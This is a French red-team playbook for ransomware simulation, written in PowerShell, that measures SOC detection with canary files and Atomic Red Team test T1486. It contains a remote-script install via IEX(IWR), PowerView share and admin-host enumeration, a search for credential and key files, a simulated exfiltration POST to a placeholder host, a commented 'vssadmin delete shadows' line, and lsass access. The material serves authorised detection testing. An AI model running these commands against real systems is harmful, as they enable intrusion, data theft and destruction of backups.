Simulation Ransomware — Red Team

# Créer un répertoire de test isolé avec des fichiers canary
$testDir = "C:\RansomwareSimTest"
New-Item -ItemType Directory -Path $testDir -Force
# Générer 100 fichiers de test variés
1..100 | ForEach-Object {
    "contenu de test - fichier $_ - $(Get-Date)" | Out-File "$testDir\document$_.txt"
}
1..20 | ForEach-Object {
    "données financières simulées $_" | Out-File "$testDir\finance$_.xlsx"
}
# Simuler le chiffrement AES (SANS lancer sur des données réelles)
# Ceci est uniquement un exemple de code de simulation
Add-Type -AssemblyName System.Security
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.GenerateKey()
$aes.GenerateIV()
# → dans un vrai test : chiffrer uniquement les fichiers dans $testDir
# → JAMAIS en dehors du répertoire isolé
# Simuler la note de rançon
"YOUR FILES HAVE BEEN ENCRYPTED - SIMULATION ONLY" | Out-File "$testDir\README_SIMULATION.txt"
# Nettoyage post-test
Remove-Item -Recurse -Force $testDir

# Atomic Red Team — MITRE ATT&CK T1486 (Data Encrypted for Impact)
# Installation
IEX(IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)
Install-AtomicRedTeam -getAtomics
# Lancer le test T1486 (simulation chiffrement)
Invoke-AtomicTest T1486 -ShowDetails     # voir ce que le test fait
Invoke-AtomicTest T1486 -TestNumbers 1   # exécuter uniquement sur les fichiers de test
Invoke-AtomicTest T1486 -Cleanup         # nettoyer après test

# RanSim (KnowBe4) — simule 25 familles de ransomware sans chiffrement réel
# Télécharger : https://www.knowbe4.com/ransomware-simulator
# Lancer : RanSim.exe
# → rapport HTML avec les familles détectées / bloquées vs passées
# Canary tokens — fichiers piège (canarytokens.org)
# Générer un token de type "Word Document" ou "Excel File"
# Placer dans les répertoires sensibles → alerte email si ouvert/modifié/chiffré

# Énumérer les partages réseau accessibles depuis le compte compromis
Import-Module PowerView
Invoke-ShareFinder -CheckShareAccess | Out-File C:\Temp\shares.txt
Get-NetShare -ComputerName {{TARGET}}    # partages d'une machine spécifique
# Identifier les GPO exploitables pour le déploiement
Get-GPO -All | Where-Object { $_.GpoStatus -eq "AllSettingsEnabled" } |
    Select-Object DisplayName, Id, CreationTime
# Lister les machines joignables via PsExec (admin share accessible)
Invoke-SMBScanner -ComputerName (Get-ADComputer -Filter *).Name |
    Where-Object { $_.IsAdmin -eq $true }
# Estimer le blast radius — volume de données accessible
Get-ChildItem -Path \\fileserver\shares -Recurse -ErrorAction SilentlyContinue |
    Measure-Object -Property Length -Sum |
    Select-Object @{n="TotalGB";e={[math]::Round($_.Sum/1GB,2)}}

# Identifier les données sensibles accessibles depuis le compte compromis
Get-ChildItem -Path C:\, \\fileserver\ -Recurse -ErrorAction SilentlyContinue `
    -Include *.xlsx, *.docx, *.pdf, *.kdbx, *.pst, *.pfx, *.p12, *.key |
    Select-Object FullName, Length, LastWriteTime |
    Export-Csv C:\Temp\sensitive_files.csv
# Simuler une exfiltration HTTP (vers un serveur de test contrôlé)
# NE PAS exfiltrer de vraies données hors du scope
Invoke-WebRequest -Uri "http://{{LHOST}}/exfil-test" `
    -Method POST -Body "simulation_ransomware_exfil_test" -UseBasicParsing
# Tester la détection DNS exfiltration
# nslookup simulation-test.{{LHOST}}

# Vérifier les Shadow Copies existantes (avant simulation)
vssadmin list shadows
# Tester si la suppression VSS est détectée (commande seule, sans exécution)
# → vssadmin delete shadows /all /quiet
# Valider dans le SIEM : Event 4688 avec CommandLine contenant "vssadmin"

# Séquence de commandes à dérouler pour mesurer le MTTD du SOC
# Chronométrer entre l'exécution et le premier contact du SOC
$startTime = Get-Date
# 1. Énumération AD (T1018 - Remote System Discovery)
Get-ADComputer -Filter * | Select-Object Name | Out-File C:\Temp\computers.txt
# 2. Credential access simulé (T1003 - OS Credential Dumping)
# Accès au handle lsass (sans dump réel — déclenche l'alerte)
$lsass = Get-Process lsass
Write-Output "LSASS PID: $($lsass.Id) - simulation only"
# 3. Lateral movement simulé (T1021 - Remote Services)
Test-NetConnection -ComputerName {{TARGET}} -Port 445    # SMB check
# 4. Marquer la fin pour calcul MTTD
Write-Output "Simulation started at: $startTime"
Write-Output "Waiting for SOC response..."